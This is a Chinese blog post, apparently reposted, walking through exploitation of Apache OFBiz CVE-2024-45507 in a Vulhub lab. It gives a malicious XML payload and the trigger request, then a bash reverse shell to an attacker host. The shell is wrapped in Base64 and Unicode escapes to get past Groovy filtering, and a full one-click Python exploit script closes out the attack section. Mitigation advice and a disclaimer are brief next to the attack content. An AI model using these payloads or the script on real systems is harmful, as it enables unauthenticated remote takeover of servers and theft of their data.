news 2026/6/25 14:15:24

【GetShell】Apache OFBiz SSRF 和远程代码执行漏洞(CVE-2024-45507)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【GetShell】Apache OFBiz SSRF 和远程代码执行漏洞(CVE-2024-45507)

【GetShell】Apache OFBiz SSRF 和远程代码执行漏洞(CVE-2024-45507)

演示视频

如果觉得看文字不够直观,完整的操作演示在这里:

快递不安检直接裸奔!OFBiz 零登录远程拿下服务器

一、亮点

一个 POST 请求,不需要账号密码,就能让服务器加载你指定的远程文件并执行里面的代码——CVE-2024-45507 就是这么直接。Apache OFBiz 18.12.15 及之前所有版本都受影响。

但我第一次复现的时候,在反弹 Shell 这一步卡了两天。id命令明明能执行,把命令换成bash -i >& /dev/tcp/IP/PORT 0>&1之后,nc 监听一片空白——什么都没收到。排查下来发现,问题出在 Groovy 沙箱对特殊字符的过滤上。这篇文章会把我从踩坑到绕过的完整过程拆给你看,包括每一步为什么失败、怎么分析的、最终怎么用 UTF-16 编码绕过拿到 Shell。

二、漏洞背景

Apache OFBiz 是 Apache 基金会下面的开源 ERP 系统,采购、销售、库存、财务、制造都包在里面。国内银行、电商、制造业有不少在用——知道它的人不多,但它干的活儿还挺关键的。

漏洞出在 OFBiz 的 WebTools 模块里。有个接口叫/webtools/control/forgotPassword/StatsSinceStart,它接收一个参数statsDecoratorLocation,本意是让管理员指定一个统计数据的装饰器文件路径。问题是——开发团队忘了对这个参数做 URL 白名单校验。你传什么它就加载什么,本地的、远程的,照单全收。

光是这样也就算了,顶多是个 SSRF。但 OFBiz 解析 XML 的时候,支持在 XML 里内嵌 Groovy 脚本——Groovy 是 JVM 上的一门动态语言,能直接调用 Java 类库,包括Runtime.exec()。SSRF 负责把恶意 XML 文件"运"进来,Groovy 负责把里面的代码"拆开执行"——两个机制单独存在都没什么,凑在一起就出大事了。

这就好比你小区门卫不查外卖员的身份,随便哪个人穿个外卖马甲就能进。然后你家里还有个不锁的保险箱,保险箱里装着服务器的 root 权限——外卖员进小区是前一道口子,保险箱没锁是后一道口子,两个问题串在一起,家底儿就全曝光了。

漏洞影响 18.12.15 及之前所有版本,官方在 18.12.16 中修了。由于这个接口不需要登录就能访问,漏洞公开后立刻被大规模扫描。

三、环境搭建

Vulhub 已经集成好了这个漏洞环境,一行命令:

gitclone https://github.com/vulhub/vulhub.gitcdvulhub/ofbiz/CVE-2024-45507dockercompose up-d

启动后浏览器访问https://你的服务器IP:8443/accounting,看到 OFBiz 登录页面说明靶场就绪。

两个细节别搞错:第一,协议是https不是http;第二,端口是8443不是8080。很多人在这两个地方反复踩坑,上去就http://IP:8080,浏览器转半天打不开,排查一圈才发现压根协议和端口都不对。

四、漏洞复现

复现分三步:构造恶意 XML → 托管文件 → 发送请求触发。我们先从基础命令执行开始,确认漏洞存在,再往反弹 Shell 走。

4.1 创建恶意 XML 文件

在攻击机上创建payload.xml

<?xml version="1.0" encoding="UTF-8"?><screensxmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://ofbiz.apache.org/Widget-Screen"xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"><screenname="StatsDecorator"><section><actions><setvalue="${groovy:'touch /tmp/success'.execute();}"/></actions></section></screen></screens>

关键在<set value=.../>这一行。groovy:前缀告诉 OFBiz 的 XML 解析器——引号里不是普通字符串,是 Groovy 代码,拿去执行。'touch /tmp/success'.execute()这行 Groovy 代码的意思是:在 Shell 里跑touch /tmp/success,也就是在/tmp目录下创建一个叫success的空文件。文件创建成功,说明命令执行通道是通的。

4.2 启动 HTTP 服务托管 XML

在攻击机上起一个 HTTP 服务,让目标服务器能拉到恶意文件:

python3-mhttp.server25002

注意这个终端窗口别关,关了服务就断了。

4.3 发送请求触发漏洞

向目标发送 POST 请求,通过statsDecoratorLocation参数把恶意 XML 的 URL 传过去:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1 Host: 目标IP:8443 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 64 statsDecoratorLocation=http://攻击IP:25002/payload.xml

推荐用 Yakit 的 MITM 劫持功能——先访问目标 URL 触发拦截,把 GET 改成 POST,把上面的数据包内容贴进去就行。

发送后,进目标容器验证命令是否执行:

dockerps-adockerexec-it<容器ID>/bin/bashls/tmp/success

输出/tmp/success说明命令执行成功,漏洞复现完成。

五、GetShell:拿下服务器

能执行touch /tmp/success只是证明漏洞存在。真正有价值的是利用这个漏洞拿到服务器的 Shell 控制权。这一节是全文核心——网上绝大多数教程止步于id命令,我把从失败到成功的每一步拆给你看。

5.1 第一次尝试:直接写反弹 Shell 命令(失败)

最直观的想法——把payload.xml里的命令直接换成反弹 Shell:

bash-i>&/dev/tcp/攻击IP/250030>&1

修改后的 payload.xml:

<?xml version="1.0" encoding="UTF-8"?><screensxmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://ofbiz.apache.org/Widget-Screen"xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"><screenname="StatsDecorator"><section><actions><setvalue="${groovy:'bash -i >& /dev/tcp/攻击IP/25003 0>&1'.execute();}"/></actions></section></screen></screens>

攻击端提前开监听:

nc-lvp25003

发送请求后——监听端纹丝不动,什么也没收到。

我当时的第一反应是"是不是监听端口写错了?"来回检查了好几遍 IP 和端口,确认无误。然后怀疑是不是反弹命令本身有问题,在本地试了一遍——命令没问题。最后翻容器日志才发现:OFBiz 的 Groovy 引擎在解析表达式时,对&>/这些特殊字符做了过滤或转义,命令在到达 Shell 之前就被拦下来了。

换句话说,touch /tmp/success能执行是因为没有特殊字符。反弹 Shell 命令里全是&>/,在 Groovy 解析阶段就被截断了——Shell 根本没见过这条命令。

5.2 第二次尝试:Base64 编码绕过(部分成功,不稳定)

既然特殊字符是罪魁祸首,那就把命令编码,让 Groovy 解析的时候看不到这些字符。

先对反弹 Shell 命令做 Base64 编码:

echo-n"bash -i >& /dev/tcp/攻击IP/25003 0>&1"|base64

编码结果类似YmFzaCAtaSA+JiAvZGV2L3RjcC8...。然后用bash -c配合管道解码执行:

bash-c{echo,<Base64编码串>}|{base64,-d}|{bash,-i}

这里解释一下这个管道结构的含义——第一步{echo,...}是把 Base64 字符串输出,第二步{base64,-d}是解码还原成原始命令,第三步{bash,-i}是把解码后的命令交给 bash 以交互模式执行。三个步骤用管道符|串起来,数据从左流到右。

把它放进 payload.xml:

<setvalue="${groovy:'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();}"/>

结果:监听端偶尔能收到连接,但极不稳定——有时连上了,有时杳无音信。同样的请求发十次,大概能成个两三次。

排查发现:虽然 Base64 编码解决了>&/dev/tcp的问题,但{echo,...}|{base64,-d}|{bash,-i}这个结构里仍然有{}|这些特殊字符。OFBiz 的 Groovy 沙箱对它们的处理时好时坏——同样的字符有时放过有时拦截,说明沙箱的过滤逻辑本身就不一致。这条路能走,但不靠谱。

5.3 第三次尝试:UTF-16 编码(成功)

需要一个能彻底消灭所有特殊字符的方案。UTF-16 编码(Unicode 转义序列)正好满足——把每个字符转成\uXXXX格式的纯文本,字母、数字、符号、空格,一视同仁地变成十六进制转义序列。Groovy 引擎在解析字符串时会自动把这些\uXXXX还原为原始字符然后执行。

编码过程,分步拆解:

第一步,把 Base64 编码后的命令封装成bash -c格式(跟 5.2 一样):

bash-c{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ==}|{base64,-d}|{bash,-i}

第二步,把这条命令逐字符转成 Unicode 转义序列。规则:每个字符取它的 Unicode 码点(十进制),转成 4 位十六进制,前面加\u

举个例子:字符b的码点是 98,十六进制是0062,所以写成\u0062。字符a\u0061。空格(码点 32)→\u0020{(码点 123)→\u007B|(码点 124)→\u007C

你可以用在线 Unicode 编码工具完成这一步——把命令贴进去,选"Unicode 转义序列"输出格式。也可以用 Python 一行搞定:

cmd="bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwMS40My4yMTIuNjgvMjUwMDMgMD4mMQ==}|{base64,-d}|{bash,-i}"print(''.join(f'\\u{ord(c):04x}'forcincmd))

编码结果看起来就是一大串\uXXXX

\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0077\u004D\u0053\u0034\u0030\u004D\u0079\u0034\u0079\u004D\u0054\u0049\u0075\u004E\u006A\u0067\u0076\u004D\u006A\u0055\u0077\u004D\u0044\u004D\u0067\u004D\u0044\u0034\u006D\u004D\u0051\u003D\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D

最终 payload.xml:

<?xml version="1.0" encoding="UTF-8"?><screensxmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://ofbiz.apache.org/Widget-Screen"xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"><screenname="StatsDecorator"><section><actions><setvalue="${groovy:'\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u007B\u0065\u0063\u0068\u006F\u002C\u004C\u0032\u004A\u0070\u0062\u0069\u0039\u0069\u0059\u0058\u004E\u006F\u0049\u0043\u0031\u0070\u0049\u0044\u0034\u006D\u0049\u0043\u0039\u006B\u005A\u0058\u0059\u0076\u0064\u0047\u004E\u0077\u004C\u007A\u0045\u0077\u004D\u0053\u0034\u0030\u004D\u0079\u0034\u0079\u004D\u0054\u0049\u0075\u004E\u006A\u0067\u0076\u004D\u006A\u0055\u0077\u004D\u0044\u004D\u0067\u004D\u0044\u0034\u006D\u004D\u0051\u003D\u003D\u007D\u007C\u007B\u0062\u0061\u0073\u0065\u0036\u0034\u002C\u002D\u0064\u007D\u007C\u007B\u0062\u0061\u0073\u0068\u002C\u002D\u0069\u007D'.execute();}"/></actions></section></screen></screens>

注意:UTF-16 编码字符串前后必须有单引号,execute()方法调用不能漏。

5.4 开启监听并触发

攻击端启动 nc 监听:

nc-lvp25003

确保 HTTP 服务还在跑着(托管了更新后的 payload.xml),然后重新发送 POST 请求:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1 Host: 目标IP:8443 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 64 statsDecoratorLocation=http://攻击IP:25002/payload.xml

5.5 验证 Shell

回到监听终端,看到连接成功提示后,跑几条命令确认控制权:

uname-awhoamils/

能正常输出系统信息和目录列表,root 权限——服务器已经在你的控制之下了。从 SSRF 到反弹 Shell,全链路走通。

回过头看,这个漏洞的利用链可以总结为三层递进:SSRF负责把恶意文件送到服务器门口 →Groovy 脚本引擎负责把文件里的代码拆开执行 →UTF-16 编码负责绕过沙箱对特殊字符的过滤。三层缺一不可,每一层解决一个问题,组合起来才完成了整条攻击链。

六、踩坑与避坑

坑1:直接反弹 Shell——特殊字符被过滤

本来以为把touch /tmp/success直接换成bash -i >& /dev/tcp/IP/PORT 0>&1就能弹回来,结果 nc 监听一片空白。排查了好一会儿,翻容器日志才发现——Groovy 引擎在执行前对&>/这些字符做了过滤,命令到不了 Shell 层就没了。

问题根因是两层解析之间的冲突:Groovy 表达式的字符串解析阶段就把特殊字符拦截了,后续 Shell 层根本没见过它们。解决方案就是 5.3 节的 UTF-16 编码——把所有字符统一转成\uXXXX格式,Groovy 解析时看到的是纯文本,还原成原始命令时已经过了过滤环节。

就这么简单?对,知道了就这么简单,不知道能卡你两天。

坑2:SSRF 请求发出去了,服务器不回连

发送 POST 请求后,目标服务器没有任何回连迹象——我在攻击端的 HTTP 服务日志里看不到任何 GET 请求。排查了一圈才发现问题不在目标,在攻击端自己的安全组/防火墙——25002 端口的入站规则没开。

很多人习惯性地只检查目标服务器的防火墙,忘了攻击端也要放行入站流量。毕竟 SSRF 的本质是目标服务器主动连接攻击端,对攻击端来说这是入站连接,安全组必须放行。

解决方案:

# Linuxiptables-AINPUT-ptcp--dport25002-jACCEPT# 或者直接在云控制台的安全组里加一条入站规则,放行 TCP 25002

坑3:UTF-16 编码后仍然失败——漏掉了空格或换行

写脚本生成编码串的时候,如果不小心在原始命令前后多留了空格或换行,编码结果就会多出\u0020\u000a,导致 bash 解析命令时把多余字符当参数处理,反弹失败。

解决方案也很简单——编码前先确认命令字符串是干净的:

cmd="bash -c {echo,...}|{base64,-d}|{bash,-i}"print(repr(cmd))# 检查前后有没有多余空格或换行

另外注意execute()方法调用后面必须跟对括号,写成execute()而不是execute。少一对括号,Groovy 不会报错但也不会执行,排查起来很迷惑——命令看着没问题,就是不生效。

七、一键利用脚本

每次手动发包太慢,我把编码、托管、发送三步整合成一个 Python 脚本。改好ATTACKER_IPTARGET_IPREVERSE_PORT三个变量,直接跑就行。

#!/usr/bin/env python3importsubprocessimportbase64importsys ATTACKER_IP="192.168.1.100"# 你的攻击端 IPTARGET_IP="192.168.1.200"# 目标服务器 IPHTTP_PORT=25002# HTTP 服务端口(托管 XML)REVERSE_PORT=25003# 反弹 Shell 端口defto_unicode_escape(s):"""将字符串逐字符转为 Unicode 转义序列"""return''.join(f'\\u{ord(c):04x}'forcins)# 构造反弹命令 → Base64 → bash -c 封装 → UTF-16 编码rev_shell=f"bash -i >& /dev/tcp/{ATTACKER_IP}/{REVERSE_PORT}0>&1"b64_cmd=base64.b64encode(rev_shell.encode()).decode()full_cmd=f"bash -c {{echo,{b64_cmd}}}|{{base64,-d}}|{{bash,-i}}"unicode_cmd=to_unicode_escape(full_cmd)payload=f'''<?xml version="1.0" encoding="UTF-8"?> <screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"> <screen name="StatsDecorator"> <section> <actions> <set value="${{groovy:'{unicode_cmd}'.execute();}}"/> </actions> </section> </screen> </screens>'''withopen("payload.xml","w")asf:f.write(payload)print("[+] payload.xml 已生成")subprocess.Popen([sys.executable,"-m","http.server",str(HTTP_PORT)],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)print(f"[+] HTTP 服务已启动: http://{ATTACKER_IP}:{HTTP_PORT}")importrequestsimporturllib3 urllib3.disable_warnings()target_url=f"https://{TARGET_IP}:8443/webtools/control/forgotPassword/StatsSinceStart"data={"statsDecoratorLocation":f"http://{ATTACKER_IP}:{HTTP_PORT}/payload.xml"}print(f"[+] 发送 SSRF 请求...")r=requests.post(target_url,data=data,verify=False,timeout=10)print(f"[+] 响应状态码:{r.status_code}")print(f"[*] 请在另一终端执行: nc -lvp{REVERSE_PORT}")

用法:

# 终端1:先开监听nc-lvp25003# 终端2:运行脚本python3 exploit.py

脚本跑完会自动完成 XML 生成、HTTP 托管、SSRF 请求三步。回到终端1,等着 Shell 弹回来。

八、修复建议

  1. 升级版本:将 Apache OFBiz 升级到 18.12.16 或更高版本,这是最彻底的修复方式
  2. 接口加认证:对/webtools/control/forgotPassword/StatsSinceStart接口增加身份认证,禁止未登录用户访问
  3. URL 白名单:对statsDecoratorLocation参数实施严格的 URL 白名单,仅允许加载本地或受信路径下的文件
  4. 禁用外部 XML 加载:配置 XML 解析器禁止加载外部实体和远程资源,切断 SSRF 攻击链
  5. Groovy 沙箱加固:在生产环境禁用 Groovy 脚本的动态执行,或对脚本内容实施严格的静态审查

九、写在最后

这个漏洞的本质是两个看似无害的机制被串了起来——SSRF 负责"送货",Groovy 负责"拆包"。单独看哪一边都觉得"问题不大",但组合在一起就是高危 RCE。开发时如果只关注单点安全而忽略了组件之间的交互面,漏洞就会从这些夹缝里钻出来。

漏洞的利用思路跟专栏里之前写过的Apache HugeGraph CVE-2024-27348有相似之处——都是应用内置了强大的脚本执行能力,但对输入的校验做得不够。如果你对这种"脚本引擎降级攻击"的模式感兴趣,可以翻翻那篇。

如果你是第一次做漏洞复现,建议先完整跟做一遍,再试着改命令、换端口,慢慢就摸到规律了。

复现过程中有问题直接评论区留言,我看到了会回。

安全声明:本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/25 14:13:06

采购数据战略不是项目,而是持续演进的生命周期

采购分析中的常见误区&#xff1a;数据战略不是一次性项目&#xff0c;而是持续演进的生命周期在采购领域干了十多年&#xff0c;从最初帮制造企业做供应商比价表&#xff0c;到现在给跨国集团搭建端到端的采购智能决策平台&#xff0c;我见过太多团队把“数据战略”当成一个IT…

作者头像 李华
网站建设 2026/6/25 14:10:53

3分钟搞定缠论分析:通达信ChanlunX插件让你的技术分析效率提升10倍

3分钟搞定缠论分析&#xff1a;通达信ChanlunX插件让你的技术分析效率提升10倍 【免费下载链接】ChanlunX 缠中说禅炒股缠论可视化插件 项目地址: https://gitcode.com/gh_mirrors/ch/ChanlunX 还在为复杂的缠论分析而烦恼吗&#xff1f;面对K线图上密密麻麻的顶底分型、…

作者头像 李华
网站建设 2026/6/25 14:10:05

Fresco:Facebook 出品的 Android 图片加载库,1.7 万 Star 不是白来的

文章目录Fresco&#xff1a;Facebook 出品的 Android 图片加载库&#xff0c;1.7 万 Star 不是白来的它到底解决了什么问题核心能力一览接入成本低和其他库比怎么样适合什么场景Fresco&#xff1a;Facebook 出品的 Android 图片加载库&#xff0c;1.7 万 Star 不是白来的 做 A…

作者头像 李华
网站建设 2026/6/25 14:07:55

可以边录边编辑的音乐平台,多款录音修音一体化工具实操分享

开篇在家自己录歌常会遇到几个很折腾的问题&#xff0c;录制时听不到实时节拍容易唱跑调&#xff0c;录完一堆环境杂音、轻微走音&#xff0c;还要把音频导出切换多款软件分别降噪、修音、混音&#xff0c;反复导出导入容易损耗音质&#xff1b;不少工具只能单纯录音或者只能后…

作者头像 李华
网站建设 2026/6/25 14:07:37

扣子工作流批量处理踩坑:循环和批处理我全翻车了

上个月接了一个电商项目&#xff0c;需求是批量生成500张商品主图。工作流设计看起来很简单&#xff1a;从数据库读取商品信息&#xff0c;调用大模型生成Prompt&#xff0c;调用图像生成插件&#xff0c;最后保存图片URL。 第一版我用循环节点&#xff0c;串行执行&#xff0c…

作者头像 李华
网站建设 2026/6/25 14:07:27

Git搭配pycharm完整使用方法

文章目录github第一步&#xff0c;GitHub创建仓库小技巧-仓库删除第二步&#xff0c;PyCharm中配置Git路径第三步&#xff0c;PyCharm 配置 Git1.本地项目初始化 Git 仓库2.添加文件到暂存区&#xff08;add&#xff09;3.提交到本地仓库&#xff08;Commit&#xff09;第四步&…

作者头像 李华